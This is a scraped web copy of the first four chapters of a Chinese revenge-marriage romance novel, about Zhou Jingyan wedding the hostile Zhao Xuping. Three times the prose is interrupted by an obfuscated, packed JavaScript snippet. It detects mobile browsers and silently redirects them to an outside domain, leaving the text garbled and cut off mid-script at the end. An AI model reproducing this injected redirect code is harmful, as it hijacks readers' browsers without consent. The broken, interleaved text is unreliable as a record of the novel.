《烟雨叙平生[带球跑]》 1. 第 1 章 『本文独家发表于晋江文学城/晋江小说阅读,作者柒合』 *** 周静烟领证前那晚彻夜未眠,前半宿睡不着,后半宿净挨骂。 她把决定结婚这事儿告诉沈琳,沈琳听完立马挂断电话,班都不上了,直接杀回住处骂她个狗血淋头。 天蒙蒙亮,沈琳骂累了,靠着沙发架起腿,冲周静烟扬扬下巴:“你告诉我,现在到底怎么打算?” 周静烟站她跟前,跟小学生挨训似的,瑟缩着脖子,声音又轻又小:“他说我要是同意结婚,能让知宇少判几年。” 周静烟就这么一个弟弟,虽说同父异母,可毕竟是血亲,周知宇打小就黏她,追她屁股后头“姐姐姐姐”叫不停,青春期叛逆,除了周静烟这个姐姐,谁的话也听不进。 真让他蹲半辈子大牢,周静烟怎么忍心。 沈琳气笑了:“少判几年,那到底是几年,有个准话没有?别到时候你人也嫁了,坑也跳了,回头告诉你,该怎么判怎么判,你奈他何?赵叙平什么东西,你又不是不清楚!” 多少年前就流传开这么句话——京圈赵叙平,狠茬第一名。沈琳没见过比周静烟更单纯的女人,这位爷的话也信。 周静烟埋着头,抠着手,好半天才开口:“他不是好东西,可他说话算数。” 沈琳差点儿一口血喷出来,手飞快拍着胸脯,呼吸急促深重,头晃个不停:“周静烟啊周静烟,我今天才看出来,你他妈智商有问题!” 周静烟不作声,任由她骂,眼观鼻鼻观心,木头桩子似的杵她跟前,气得她七窍生烟。 “行行行,嫁赵叙平去吧,后悔了别来找我哭!” 沈琳说着,起身一甩手,快步走进卧室,砰地将门摔上。 周静烟站门口,抬手准备敲门,想想还是算了,这会儿她正在气头上,除非自己不跟赵叙平结婚,否则说什么都没法让她消气。 周静烟知道,这婚必须得结,因为赵叙平恨毒了周知宇,他妹妹受的罪,他铁了心要从她身上讨回来。 洗完澡,周静烟换上白T恤和洗得发白的墨蓝牛仔裤,齐腰长发绕成不高不低规规矩矩的发髻,觉得太素,又化上淡妆。 她盯着镜子看好久,不知道这副模样去领证,能不能让赵叙平满意。 把赵叙平哄开心了,往后日子兴许好过些。 她只是反应迟钝,不是傻,明白赵叙平结这个婚就是奔着折磨她一辈子去的。 至于怎么折磨,赵叙平法子多得是,她猜不透,想想往后的日子,再胆寒犯怵,也只能咬牙硬挺。 周静烟看着镜子里的自己,怎么都觉得差点儿意思。 头小脸小个子不高,将将一米六,瘦削单薄,五官倒是清秀,可也够不上什么大美女,只能算小漂亮,表情木木的,学不来人家那股子媚劲儿,简而言之,乏善可陈。 周静烟越看越沮丧,心里想:赵叙平肯定不喜欢自己这一挂的。 事实上,赵叙平喜欢哪一挂的,迄今为止是个谜。 他活了二十七年,单身二十七年,学生时代热爱打架,创业以后热爱赚钱,甭管男人女人,从未把任何人放眼里。 按理说像他这种家财万贯身家滔天的京圈三代,只要成心挖,没有挖不出的绯闻,偏偏还真挖不出他什么来。 没对象,没绯闻,意味着周静烟没有参考标准。 他要是喜欢性感辣妹,她还能硬着头皮厚着脸皮学学人家穿衣打扮;他要是喜欢清冷森女,她走走日系冷淡风也不是不可以…… 坏就坏在压根没人知道他钟爱哪种类型。 唯一可以确定的是,赵叙平喜欢人民币。 想到这,周静烟深深叹了口气,从小到大,有个标签死死钉在她身上——赔钱货。 这么看来,讨赵叙平欢心这事儿,难度堪比登天摘月。 八月的京州炎热干燥,周静烟魂不守舍出门,顶着大太阳走到公交站,挤完公交挤地铁,挤完地铁骑单车,终于卡在十点整准时来到民政局。 赵叙平已经到了,那辆挂着连号车牌的迈巴赫停在路旁,他站外边儿斜倚着车门,不耐烦张望,目光与周静烟对上那一刻,愣住了。 周静烟将共享单车摆放好,随手理了理被风吹乱的碎发,跑到他跟前,气喘吁吁看着他。 印象中,她从没见赵叙平穿过白衬衫。 这人以前只爱穿深色,不是黑就是灰,气质本就张狂凌冽,穿深色服装越发多了几分匪气,帅是一等一的帅,可又野得没边儿,叫人望而生畏,看一眼就犯怵。 个头一米八六,身形高挑顷长,宽肩窄腰,白衬衫黑西裤那么一穿,很有白马王子那味儿,不过往面上仔细瞧,俊脸冷得跟冰山似的,眉眼间杀气若有似无,叫人看得心里发毛。 大热天,周静烟身子打冷颤,舌头打结:“我、我证件带了,进去吧。” 赵叙平瞧着这张汗涔涔,被晒红的脸,皱了皱眉:“你住城东,骑车来?” 周静烟慌忙摇头:“二十几公里呢,怎么可能!我坐公交转地铁,从地铁站骑过来的。” 赵叙平眉头皱得更深:“就不能打个车?” 周静烟:“没、没钱……” 赵叙平从头到脚打量起她:“以前也不是个结巴啊。” 周静烟听得出他是有意奚落,拿话刻薄她。她知道自己没资格生气,擦擦额上的汗,赔笑:“对不起哥哥,我有点儿紧张。” 赵叙平脸色瞬间阴云密布,冷眼瞧着她,薄唇紧抿。 她正纳闷自己哪句话说错了,就听他沉声开口:“谁是你哥?你也配叫这个?” 周静烟仰脸怔怔望着他。 以往从来都是这么叫的,偶尔见着面,她怯怯叫一声“哥哥”,他淡淡应一声“嗯”,多少年这么叫过来,怎么今天就不配了? 拍合照时,相机咔嚓那一瞬,周静烟才反应过来为什么。 因为他妹妹出事了,导致他妹妹出事的罪魁祸首,是她弟弟。 赵叙平只有一个亲妹妹,如今妹妹再也没法叫哥哥,她周静烟凭什么叫? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775172|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚姻登记处工作人员往结婚证上盖戳那一瞬,周静烟又反应过来一件事。 她去找赵叙平求情那天,赵叙平拍拍她的脸,问她拿什么换,她说只要能让知宇判得轻点儿,她可以拿命换。 当时赵叙平就笑了,说,那这么的,咱俩结婚。 周静烟心想:反正自己贱命一条,嫁就嫁了,法治社会,难不成他还真能要她命? 结婚证上盖了戳,周静烟嫁了人,她这才反应过来,以赵叙平的身份地位,在遵纪守法的前提下,变着法子弄死她,简单得就跟玩儿似的。 沈琳骂了半宿都没能让她后悔,领完证,她肠子都悔青。 周静烟的人生信条就是——生命在于苟着。 二十二年的人生里,周静烟没过过几天好日子。家里长辈个个重男轻女,亲妈死前,成天拿她撒气,亲妈一死,后妈上位,继续拿她撒气。 圈子里谁都知道,暴发户周家有个出气筒,别名扫把星,字号赔钱货。 周家从暴发户变成了破落户,周静烟也从那个瘦瘦小小的豆芽菜,长成了瘦瘦矮矮的大姑娘。 别看周静烟觉得自己这不行那不行,在她内心深处,其实觉得自己有一样很行,那就是求生力。 虽然活得不咋地,可最起码,她还活着。 挨了那么多白眼、辱骂、毒打,她还是硬生生挺过来了。 她有时会窃喜:看吧,我多会苟,苟着苟着,就长大了,苟着苟着,就苟到二十来岁了。 然而此时此刻,周静烟忽地意识到,自己很有可能苟不下去了。 周家人待她不好,是因为厌;赵叙平待她不好,是因为恨。 “恨”的杀伤力可比“厌”强多了。 “讨厌死了”,是一句轻描淡写的抱怨;“恨死了”,携带着挖心焚骨的动机。 周静烟看着赵叙平那张面无表情的脸,不寒而栗。 赵叙平让她上车,她如同提线木偶般跟着坐进后座,紧贴车窗,离他老远。 周静烟目光盯着窗外,瞳孔逐渐失焦,看什么都雾蒙蒙,脑子里也乱糟糟。 车里算上司机三个人,静得听不见呼吸声。 周静烟不知道这是要去哪儿,她不敢问。 半晌,她终于有勇气转过头,视线看向赵叙平。 赵叙平正盯着窗外,似乎在沉思,又似乎只是发呆。 他的脸始终冲着另一边,周静烟这才敢将目光停留在他脸上——像以往那样,只有在他看向别处时,她才敢多瞧他一会儿。 这张脸从侧面看,轮廓更加分明。妹妹出事后,他面颊消瘦,下颌线越发比以往清晰,沉郁中带着点落寞,多了几分说不清的成熟男人味。 周静烟很想知道,这一刻,赵叙平心里在想什么,想得出了神。 她怎么也想不到,这一刻的赵叙平,明明没有死,回忆却像走马灯一样涌出,脑海中浮现四年前,十八岁的周静烟,在阴暗的小木屋里闭眼吻他那个画面。 那是他们彼此的初吻。 2. 第 2 章 恶劣的成长环境将周静烟搓扁揉圆,窝囊活了这么些年,她只干过两件有种的事儿:一件,是在二十二岁这年嫁给赵叙平;另一件,是在十八岁那年强吻赵叙平。 这两件事儿传出去,无疑是爆炸性新闻,然而它们发生得悄无声息,尤其是后者,他俩心照不宣绝口不提。 不提,不代表忘记。 那天晚上,无论过多久,两个人都记得清晰。 周静烟高中毕业散伙饭订在京郊某个农家乐,各奔东西之前,她的同班同学兼唯一闺蜜沈琳喝疯了,拽着她衣领非要跟她喝交杯酒。 从没喝过酒的周静烟仰头干完一小杯,嗓子火辣辣,两眼冒金星,东倒西歪跑出包房,躲避身后举着瓶子准备对她夺命连环灌的沈琳。 周静烟光顾着跑,压根没看路,出门就撞人怀里,抬脸一看,撞上的竟是赵叙平。 沈琳鬼哭狼嚎追上来,周静烟一个劲冲赵叙平摇头,赵叙平立马明白怎么回事儿,扶着她快步穿过走廊。 周静烟以为平时沈琳已经够生猛,没成想这人喝醉后战斗力直接拉满,他俩踉踉跄跄一路小跑,沈琳横冲直撞一路猛追,愣是从二楼追到大堂,从大堂追到院子。 院子里有个放柴火的小木屋,虚掩着门,赵叙平将周静烟拉进去,迅速关门锁上,听见沈琳在外头荒腔走板唱起《大话西游》主题曲。 “苦海!泛起爱恨!在世间!难逃命运!相亲竟不可接近!或我应该!相信!是缘分……” 听完这首基本属于二创的演唱,周静烟才回过神,发现赵叙平靠着墙,而她靠着赵叙平胸膛。 木屋狭窄得两个人在里面都拥挤,月光透过小窗,如白纱覆在赵叙平脸庞。 她看着这张脸,以为自己要么喝醉了,要么在做梦,因为她在这张总是冰冷凌冽的脸上,破天荒看到了温柔。 “这歌叫什么?”她一时想不起来,直愣愣盯着赵叙平问。 “《一生所爱》。”他说。 “琳琳唱得真好听。” “你确定?” “反正比我唱得好听。” “要不你唱唱?” 周静烟踮起脚尖,趴他耳边轻声哼起来:“下雨天了怎么办,我好想你,不敢打给你,我找不到原因……” 她唱一句,唇就往旁边挪一点,唱到“陪我等雨停”,便吻上那双薄唇。 起先赵叙平将唇抿得很紧,还试图推开她,她不知哪来的胆子,使出浑身力气抵过去,他推得轻,她抵得重,只一个来回他就不推了,唇也松开了,甚至变被动为主动,这让方才无声的拒绝有了那么点儿半推半就的意思。 周静烟多希望这是梦,更希望这梦不要醒。 她被亲得痴软,赵叙平连吻都带有强烈的攻击性,来势汹汹如暴雨,不容半点反抗和质疑。 木门忽然砰砰响,沈琳被“雪姨”附身,在外头一边捶门,一边大喊:“‘傅文佩你别躲在里面不出声,我知道你在家!你有本事抢男人,怎么没本事开门呐!’” 周静烟的美梦戛然而止。 她下意识缩进赵叙平怀里,下一秒,感觉到赵叙平双臂圈住了自己。 “别怕。”他在她耳畔低声说。 嗓音太过温柔,周静烟甚至怀疑这是幻听。 外头传来好几个声音,周静烟听出同学们来了,沈琳被拉走,哭天喊地又唱起苦情歌。 歌声消失那一秒,木屋里两个人同时松了口气。 周静烟依然靠在赵叙平怀里,赵叙平依然圈着她没撒手,四目相对,谁也不动弹。 “她那几句词儿怎么这么耳熟?”赵叙平冷不丁问。 “《情深深雨濛濛》里的,雪姨来依萍家闹事那段。”周静烟认真回答的样子,像极了上公开课的小学生。 “哦。” “这部剧我看了很多遍。” “所以长成了恋爱脑?”赵叙平笑得戏谑。 她被这略带讽刺的笑刺痛,猛地退两步,低头小声狡辩:“哥哥,我刚才喝太多酒,不清醒……” 赵叙平侧了侧头,轻笑:“嗯。” 周静烟带着哭腔哀求:“我真不是故意的,你别说出去,行么?” 赵叙平:“行。” 周静烟开门撒丫子就跑。 后来她告诉沈琳,赵叙平说话算数,沈琳不信,这话其实是有依据的。 五岁那年,她被亲妈打,躲在家门外哭,赵叙平抱着篮球走过来,说:“别哭了,哥哥给你巧克力。” 很快,一大盒进口巧克力塞进她怀里。 七岁那年,她被后妈打,躲在绿化带哭,赵叙平颠着足球走过来,说:“别哭了,还要不要巧克力?” 她抹着泪点头。 很快,一大盒进口巧克力递到她眼前,跟上回的不是同个牌子,但比上回的还要好吃。 十岁那年,她被亲爹打,躲在家里后院哭,赵叙平隔着铁栅栏看她许久,说:“我要去美国读书了,走之前可以满足你一个愿望。” 她想啊想,最后摇摇头,告诉他:“我没有愿望。” 她当然有愿望,最大的愿望就是:离开周家。 可是她还那么小,她走不了。赵叙平也不大,他办不到。 赵叙平问:“那你还想吃巧克力吗?” 她点头,破涕为笑。 很快,赵叙平从家里搬来一个大纸箱,箱子里全是巧克力,他一盒盒穿过栅栏缝隙递进去:“自个儿藏着吃。” “嗯,哥哥,你脸上怎么了?”刚才光顾着哭,眼里全是泪,周静烟这会儿才发现赵叙平脸上有伤。 “打架挂彩了呗。”赵叙平轻描淡写解释。 周静烟欲言又止。 他拿出最后一盒巧克力,拆开盒子,从里面取出一颗,撕开包装递给她:“尝尝。” 她没伸手接,张开嘴去够他手里的巧克力。 他笑着往她嘴里塞。 “好吃么?”他问。 她重重点头。 他又问:“跟之前那两种比起来呢?” 周静烟:“都好吃。” 赵叙平:“哪种最好吃?” 周静烟:“都好吃。” 赵叙平把最后拆 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她以为这辈子再见不到赵叙平,岂料高中毕业意外碰上——不仅碰上了,还亲上了。 她求赵叙平别说出去,赵叙平就没说,他真要反悔,早传得满天飞,这么多年不可能压根没动静。 所以在她心里,哪怕赵叙平千坏万坏,也是个讲信用的人。她要巧克力,他答应给就一定给;她要他保密,他答应后守口如瓶。 小木屋那晚,她多想嫁给他啊,谁知后来还真嫁了。 只不过这婚结得苦大仇深,没办法,周知宇身上背着两条人命。 赵叙平妹妹死的时候,一尸两命。 领完证,周静烟怕归怕,倒也看得开。弟弟欠着人家两条命,她和弟弟要是都死了,就当还债了。 迈巴赫停在一幢独栋别墅门口。 周静烟下车,跟在赵叙平身后,进门前停住脚步。 “我想回去拿点儿东西。”她小声恳求。 赵叙平也停下来,但没回头:“破烂儿别往我这带。” 他知道她住老破小,也知道她手头没有值钱货。 “我自己打车去打车来,不麻烦你们。”她还是很小声。 赵叙平不言语,她当他是默许,迅速走开。 腿刚迈进门,赵叙平就退出来,扭头冲司机扬扬下巴。 她穷得没钱打车,赵叙平是知道的, 司机意会,开车追上周静烟,停在她身旁:“周小姐,赵先生吩咐我送您过去。” 周静烟取完东西回来,赵叙平还在别墅。 他靠着沙发喝茶,见她怀里捧个灰色布袋,放下茶杯,问:“来回将近二十公里,拿的什么东西?” 周静烟没吱声,闷头往前走,他起身疾步过去拦住,伸手夺她怀里的袋子,她像只受惊小兔,抱紧袋子背过身,瑟瑟发抖。 赵叙平起了好奇心,见她这副模样也来气,偏要瞧瞧是什么见不得人的东西,绕过去一把抢走袋子打开,蓦地愣住。 袋子里,只有一盒过期多年的巧克力。 3. 第 3 章 赵叙平认得这东西。 他心里那片深潭,被扔进了一粒小石子,发出脆脆的声响,激起层层波浪,也惊动出更多回忆。 可他表面嗤之以鼻:“你就拿回来这么个破烂玩意儿?” 周静烟头埋得低,嘴动了动,声音太轻,赵叙平没听清。 “说的什么?”他弯着脖子凑近她的脸,皱眉问。 “这不是破烂儿。”周静烟声音大了点,也没大到哪去,还带着微微哭腔。 赵叙平目光落在保质期上,皮笑肉不笑:“过期多少年了,还不是破烂儿?” 他说话京腔不重,可多少带了些,“破烂儿”三个字从他嘴里出来,损得没边。 周静烟没底气跟他吼出那句“就不是”,眼巴巴看着他手里的巧克力,颤声求道:“能把它还给我吗?” 赵叙平笑了,转身抬手一扔,巧克力进了垃圾桶里。 周静烟冲过去弯腰捡,还没碰到盒子,又被他夺去,他狠狠将巧克力往地上摔,指着它命令路过的保姆:“把这破烂儿扔掉。” 保姆是个四十岁的女人,第一天来这儿上岗,对雇主不了解,一头雾水看着他俩,见男主人面色阴沉,赶紧捡起地上的盒子,正要往垃圾桶扔,又听男主人怒道:“扔外边去。” 保姆满腹疑惑没敢问,拿着盒子小跑着出门。 周静烟眼泪吧嗒吧嗒往下掉,咬破唇也没哭出声。 赵叙平猛地抬起她下巴,盯着这张泪流满面的脸冷笑:“刚演完暗恋戏,又演上苦肉计?” 关于周静烟喜欢他这回事,他早就知道。 抱也抱了,亲也亲了,周静烟没说开,他也不戳破。 忍了这么些年,这会儿他忍不了了,问完刚才那句,见周静烟死咬着唇不答,又笑着问:“你他妈别是真爱上我了吧?” 周静烟哇的一声哭出来,抽抽搭搭回了句:“你干嘛呀……” 她的心被很多人戳过刀子,又被赵叙平缝过伤口,她怎么也想不到,有一天,他会亲自往她心上捅去一刀又一刀。 被咬破的唇都没心脏那么痛。 赵叙平攥住她手腕走向电梯。 二楼左边客房旁有个套房,赵叙平进入套房,穿过起居室,一脚踹开半关着的卧室门,加快脚步走到床边,猛地将周静烟拽过来。 周静烟不受力,跌坐在床,仰脸泪汪汪望向他。 “我告诉你周静烟,甭管咱俩以前怎么着,有过什么,都他妈是以前,打今儿起,咱俩就是怨偶,别指望老子对你好,也别假惺惺演戏恶心老子。” 周静烟痛糊涂了,问了句废话:“那你娶我干嘛呀?” 他笑起来,拍拍她脸颊:“当然是欺负你,糟践你,恶心你啊。怎么着,不服气?不服气让周知宇多蹲几年牢,我再嘱托牢里几位熟人多照顾照顾他?” 周静烟不言语,更不敢哭出声,撇着嘴止不住落泪,胸口剧烈起伏,好半天才憋出一句:“我错了,你别生气……” “错哪儿了?”赵叙平冷笑着问。 周静烟说不出话来。她也不知道自己错在哪儿。 “你错就错在,有这么个不省心的亲弟弟。”他捧着她半边脸,指腹轻蹭泪湿的脸颊,拇指覆在她唇上咬破的地方,用力一摁,刚止住的血又渗了出来。 周静烟疼得惊呼,脖子往后缩,躲开他的手。 “疼么?”他笑了笑,“疼就对了。伊伊死那会儿,比你疼多了。” 周静烟有许多话想说。 她想说周知宇对不起赵庭伊,作为周知宇的姐姐,她也对不起赵庭伊。 她想说伊伊是顶好顶好的姑娘,她为伊伊的离去深感痛心和惋惜。 她想说如果早点儿发现他俩在一起,早点儿阻拦就好了…… 可她什么也说不出,喉咙堵得发苦,发痛,千言万语卡在那里,一个字都出不来。 她就这么仰脸望着赵叙平,破了的唇颤啊颤,什么也说不出。 等了一小会儿,她始终这样,赵叙平估计觉着没劲,头也不回走开。 周静烟独自在这个陌生的卧室待了许久。 这里很大,装修得很好,却也很冷。 墙面,家具,床品……一律都是冷色调,跟赵叙平一样冷。 她结婚了,搬进了漂亮的大房子,然而这里不是家。 她早就没有家。 不被爱的孩子,从出生那刻起,就是没有家的。 这世上唯一给过她温暖和爱意的亲人,只有弟弟周知宇。 小她三岁的周知宇,出生那年,他母亲还没上位。 她生母刚死,继母就带着周知宇搬进来。 从此周知宇是掌中宝,周静烟从扫把星“升级”为眼中钉。 小小的她恨过周知宇,可同样小小的周知宇,会抱着继母哭求“妈妈别打姐姐”;小小的周知宇会偷偷藏起一块生日蛋糕,再偷偷拿给她吃;小小的周知宇会在她的伤口上轻呼气,奶声奶气说“姐姐痛痛,知宇吹吹”…… 多么小的概率,在这样的家庭里,她有个天使般的弟弟。 她爱她的弟弟,她也有愧于伊伊,所以她恨不起赵叙平。 她只是心痛,不明白为何命运如此待她。 这世上,好似老天也有偏爱,有人命好,有人命苦。 她不幸成了命苦的那个,从小苦到大,吃得苦中苦,吃不尽的苦。 她在这个冰冷而陌生的房间里,躺在柔软的床上,望着天花板哭泣,哭累了,翻个面,趴枕头上继续哭。 越哭越痛,越痛越哭,恨意忽然涌来。 她恨父亲母亲,恨外公外婆,恨爷爷奶奶,恨那些亲戚,也恨继母,最恨的还是她这破命。 都说人生如戏,怎么偏偏是她分到这么悲苦的剧本? 这些年周家陆陆续续死人,父亲躲到国外生死未卜,毫无音讯,她和弟弟相依为命苟活,大学毕业眼看着快熬出头,又出了这事儿。 周静烟恨得往地上摔枕头。 她想起赵叙平摔巧克力时怒火中烧的样子,心又被刀子扎了一次。 反复想,反复被扎,痛得她瘫倒在床,捂着脸放声大哭。 赵叙平把她的巧克力扔了。 那是她这么多年受伤后用来续命的东西。在家被虐待了吃一块;在学校被霸凌了吃一块;无家可归时和弟弟分着吃一块…… 无论她多爱弟弟,赵叙平给的巧克力,她只舍得分给弟弟半块。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775174|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是赵叙平送给她的啊。 送这些巧克力的人,是她悄悄爱了这么多年的赵叙平啊。 最后一盒她怎么也舍不得吃,因为吃完就没有了,再没有了。 难过的时候她就拿出来看看。多难过她也不吃,只是看看。看一看心里就好受了,就觉得有盼头了。 可是如今,爱与恨,在生与死面前,那么卑微,那么渺小,那么微不足道。 如果她的死能让伊伊活过来,她会死得毫不犹豫。 可她死了又如何?世间不过是划掉一个无用的苦命人。 她卡在命运的悬崖边,活着有罪,死了浪费。 太阳最烈那会儿,保姆来敲门,在外头问:“周小姐,午饭做好了,您是下去吃,还是我给您送上来?” “不用。”周静烟声音又哑又轻,外头听不见,继续敲门,她下床走到门口,隔着门对保姆说,“谢谢,我不吃。” 保姆劝道:“还是吃点儿吧,不知道您喜欢什么口味,酸甜辣,还有清淡的,我一样做了一道,您尝尝看,喜欢什么以后我多给您做。” 她在里头哭得惨,保姆听得心酸,想着让她吃点东西,肚子饱了,身体舒服了,或许就不那么难受了。 周静烟抹抹泪:“真不用,你吃吧,我饿了再吃。” 保姆只得说:“那您好好休息,饿了随时找我,我给您热热饭菜。” 离开时保姆一路琢磨,没琢磨出什么名堂,只觉得女主人可怜,男主人怪——怒气冲冲让她把那盒写满英文的洋货扔出去,没多会儿又叫她捡回来。 她把东西捡回来,他拿纸巾在盒子上擦了又擦,捧着当个珍宝似的,变脸未免也太快。 门外没了动静,周静烟确定保姆已经走开才放心。她捡起两个枕头放回床上,怕赵叙平忽然进来,看见地上的枕头就知道她拿枕头撒过气。 在这个不像家的家里,她没有资格生气。 周静烟躺回床上,脖子枕着一个枕头,怀里抱着一个枕头。 她把那个枕头想成一个人,没人抱抱她,她就抱抱人。 什么人都成,只要能让她抱一抱,抱着暖一暖,这一刻活下去好像也没这么难。 她抱着这个假想的人又哭了,哭到精疲力竭,不知不觉睡去。 她睡了很久很久,做了个长长的梦。 梦里她真抱着一个人,可是周围太黑了,她看不清这人是谁。起先是她抱这人,后来变成这人抱她。她察觉出这是个男人,身上有淡淡的檀香。 香味让她认出抱自己的人是谁。 “赵叙平,”她轻声唤他大名,鼻酸眼润,“把巧克力还我。” 梦里赵叙平紧抱着她,什么也没说。 她气得挣开怀抱,一巴掌扇去,黑漆漆的,位置倒是找得准,正正好打在他脸上:“赵叙平,你个王八蛋!” 赵叙平又抱住她,语气特平静:“嗯,我王八蛋。” 日上三竿,周静烟醒来,屈膝靠在床头,抱着腿回味许久。 还是梦里好啊,梦里的赵叙平任打任骂,现实中赵叙平欺负完她就跑。 “王八蛋,我再也不爱你了。”她自言自语,起床冲了个澡,下楼吃早饭。 4. 第 4 章 清早六点半,保姆准备做早饭,见周静烟从楼上下来,笑眯眯迎过去。 “周小姐,早上好,早餐您想吃什么?” “都行,我口淡,麻烦弄清淡些。” 保姆点点头走进厨房,周静烟也跟着进去,保姆诧异:“周小姐,您需要什么吩咐我拿就行。” 周静烟头回进这个家的厨房,四处看了看,不由跟以前住的老破小比较,这间厨房比那整套房子面积都大。 “我帮你吧,一起做能快些。”周静烟说。 保姆挑眉缩脖子,像是被吓到:“这怎么行?赵先生付我三万月薪,就为了让我把你们伺候好,哪能让您下厨房!” 周静烟打小伺候别人,没成想还能被别人伺候,颇有些不习惯,局促地站在原地不知所措。 入行十五年,保姆什么人都见过,看看雇主面相,简单交流几句,便知雇主好不好相处。 保姆瞧着周小姐个善良人,又怯怯的,不光好相处,甚至好欺负。保姆心肠软,昨天听她在房里哭得撕心裂肺,今早见她眼睛肿成核桃,心里不是滋味儿。 “周小姐,我拿了赵先生这么多钱,不干活说不过去。您好心帮我,我很感激。以后您安心享福就成,有什么需求只管吩咐我。” 保姆做事效率高,没一会儿就弄好早餐端出来。 “这是酒酿冲鸡蛋花,”保姆指着一个大碗介绍,“我自己做的酒酿,甘甜清爽,一点点酒香,用这个加水煮开,滚烫的汤去冲已经搅散的鸡蛋,冲出漂亮蛋花,即能滋阴,又能补气血,女人最适合吃这个。” 周静烟闻见带着甜味的淡淡酒香,笑了笑:“你真厉害,还会自己做酒酿。” “做这个可简单了!有手就会,您要是想学,我教您,包教包会。这是蔬菜肉沫饼,有菜有肉还有主食,营养全面。您口味淡,我做得清淡,油盐都放得少。” 保姆说完才发现周小姐肿起的眼眶泛了红,忙问:“是不是太少了不够吃?您别跟我客气,哪里不满意只管提,我积极改正!” 周静烟摇摇头,吃一口饼,又喝一口酒酿蛋花汤,称赞道:“味道很不错,谢谢你。” 这辈子待她好的人屈指可数,她从谁那儿感受到丁点善意,都会感动得想哭。 保姆不好意思笑道:“您太客气了。这儿还有黑豆豆浆,不知道您喜不喜欢加糖,我就没放,您先尝尝,需要的话我去加。” 周静烟常年吃得淡也吃得少,喜欢原味,没让保姆加糖。她进食速度慢,一口一口细细咀嚼,吃相好看,还不吧唧嘴,保姆越看越喜欢,忍不住夸她漂亮得体有规矩。 她害羞地低下头,闷声吃东西,听见保姆问:“昨晚睡是不是没睡好?” “挺好的,睡了很久,还睡得沉。”她说。 保姆放心了些。昨天赵先生凌晨才回来,她见他进了主卧,生怕他俩吵架,惹得周小姐又哭,提心吊胆好半天才睡着。 “那就好那就好,赵先生估计也睡得好,大清早起来,六点出门的。”保姆自然而然提起男主人。 周静烟仍低头吃饼,淡淡应一声,什么也没多问。 保姆想打探更多,又说:“您跟赵先生真般配,男的帅女的美。” 周静烟抿抿唇,摇头:“他是很帅,我就一般了,我配不上他。” 保姆立马反驳:“您哪里一般?相貌清秀,身材苗条,气质又好,非要鸡蛋里挑骨头,那就是太瘦了,得多吃点儿,长点儿肉更圆润、更漂亮。再说能做夫妻,那可不是一般的缘分,哪有配不配一说!” 周静烟实在不想聊跟赵叙平有关的任何事,谦虚笑笑,转移话题:“怎么称呼你呢?” 保姆:“我跟您同姓,也姓周,单名一个‘芳’,叫我芳姐就行。我今年刚满四十,估计比您大挺多吧?” 周静烟:“芳姐,我二十二了。” 芳姐盯着她看了又看:“长得可真显小,瞧着也就十七八!” 周静烟脸颊微红,低头笑道:“这一早上净夸我……” 芳姐也笑了:“实事求是嘛,您长得好看不说,性格还好,善良又温柔,谁相处下来不想夸?谁会不喜欢您?” 从小到大,周静烟就没被除了弟弟和沈琳以外的人这么夸过,难免认为芳姐是在拍马屁,可她语气实在诚恳,周静烟迷糊了,抬头愣愣望着她:“我……有那么好?” 芳姐:“您好得不得了!虽说赵先生年轻有为,长得帅还有钱,可是说句心里话,赵先生能娶到您,是他的福分。” 周静烟不太信,莞尔淡笑,没再说什么。 吃完早餐,芳姐收拾碗筷,不经意似的提起:“赵先生出门前说他今晚不回家。” “嗯。”周静烟不知他昨晚回过家,更不知他昨晚睡的主卧,心里想:这人新婚第一天就欺辱冷落她,往后就当他死了吧。 她巴不得这人永远别回来。 · 新婚第一天,赵叙平在江东铭那儿待到晚上十一点才回家。 他跟江东铭打小就是铁瓷,好得就差同穿一条裤子。小学初中那九年,一起在外边儿打完架,各回各家各自挨揍,怎么说都是过命的兄弟。 当年关于他俩的顺口溜疯传于各个学校——“天灵灵地灵灵,茬架就找赵叙平;天不应地不应,搬来救兵江东铭。” 赵叙平打算跟周静烟结婚这事儿,家里人一概不知,圈儿里朋友也只告诉过江东铭。 当时江东铭听完,从嘴里夹出半截烟,眉头拧得死紧,愣了好一会儿才开口:“娶她?你丫有病啊!” 赵叙平:“我有我的道理。” 江东铭:“什么道理?哥们儿听听。” 赵叙平心里琢磨,娶回去晾着,耗她一辈子,也算为妹妹报了血海深仇。 他没把这个理由说给江东铭听,默默抽着烟。 江东铭夺过他嘴里的烟,扔进烟灰缸:“你他妈别抽了,赶紧的,给个合理的解释。” 赵叙平面无表情:“老子结婚还得经过你批准?” 他掏出烟盒,抖出根烟叼嘴里。 江东铭:“结婚不是问题,问题是这婚不能跟周静烟结。” 赵叙平握着打火机,正要点燃,听到这话停下动作,掀起眼皮冷冷望过去:“你喜欢她?” 江东铭一愣:“不是,什么叫我喜欢她?可拉倒吧,撑死有点儿可怜她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 